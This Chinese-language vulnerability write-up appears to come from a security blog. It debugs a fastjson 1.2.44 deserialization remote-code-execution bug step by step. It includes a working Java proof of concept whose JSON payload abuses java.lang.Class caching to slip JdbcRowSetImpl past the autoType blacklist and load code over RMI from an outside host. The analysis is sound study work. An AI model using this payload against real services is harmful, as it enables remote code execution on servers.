首先這個漏洞調試不需要非要使用docker,本身是一個jar包的問題。所以我們可以自己寫一個小java代碼來直接調試。

POC如下
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args)
{
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//String payload1 = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xxxxx/Exploit\"}}";
String payload2 = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://fast.s.pproot.com/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload2);
}
}
java代碼如上,下載fastjson-1.2.44.jar放到對應lib目錄下,並把lib目錄加入到libraries上。
在JSON.parse(payload);下斷點,調試。
public static Object parse(String text, int features) { return parse(text, ParserConfig.getGlobalInstance(), features); }
在這塊,我個人認為ParserConfig.getGlobalInstance()主要是獲取整個代碼調用fastjson的時候的設置的環境變量,也就是說,如果在代碼塊未對一些配置參數更改,那這塊獲取的配置就是默認的配置環境
環境可以理解為,就是一些參數值是true還是false。
我們可以看到,autoTypeSupport是false的,
在一些POC里,我們也搜到了一些fastjson rce漏洞 觸發的條件之一就是ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
public static Object parse(String text, ParserConfig config, int features) { if (text == null) { return null; } DefaultJSONParser parser = new DefaultJSONParser(text, config, features); Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; }
來到DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
text就是傳入的poc,config就是之前的全局環境配置。我們假設我們不知道哪里觸發的,於是我們就要跟入一下new DefaultJSONParser這個實例化操作。
public DefaultJSONParser(final String input, final ParserConfig config, int features){ this(input, new JSONScanner(input, features), config); }
到這塊,繼續深入。可以通過查看dnslog,發現還沒收到請求,說明還沒觸發漏洞。
第一個關鍵點
com/alibaba/fastjson/util/TypeUtils.java

把com.sun.rowset.JdbcRowSetImpl放進了一個mappings里,key為com.sun.rowset.JdbcRowSetImpl,值為class com.sun.rowset.JdbcRowSetImpl。
給出一下斷點的位置

看下mappings里面都有哪些緩存類:

挺多的,然后因為我們通過java.lang.Class類的方式把com.sun.rowset.JdbcRowSetImpl放在了mappings里,下次反序列化的時候,這個類在mappings里的話,就不會報類錯誤了。

類在mappings里了。
然后繼續跟,來到com/alibaba/fastjson/parser/ParserConfig.java的

因為已經來到x的value字段了,當取到存在typename是com.sun.rowset.JdbcRowSetImpl
所以要取clazz出來,我們跟一下,

mappings.get取出來,


可以看到clazz已經賦值了
一路高歌猛進,進到了


superClass = clazz
也就是supterClass等於class com.sun.rowset.JdbcRowSetImpl

然后superClass又賦值了class com.sun.rowset.JdbcRowSetImpl的父類。

這個for循環要一直循環到最高父類為Object.class才能break這個循環,不過這個比較簡單的,因為所有類都是基於Object.class的 。
經過一系列的for循環量,然后終於來到了putDeserializer(type, derializer);

最后觸發了,沒經過報錯

之前42版本就加入黑名單了的com.sun包被繞過了

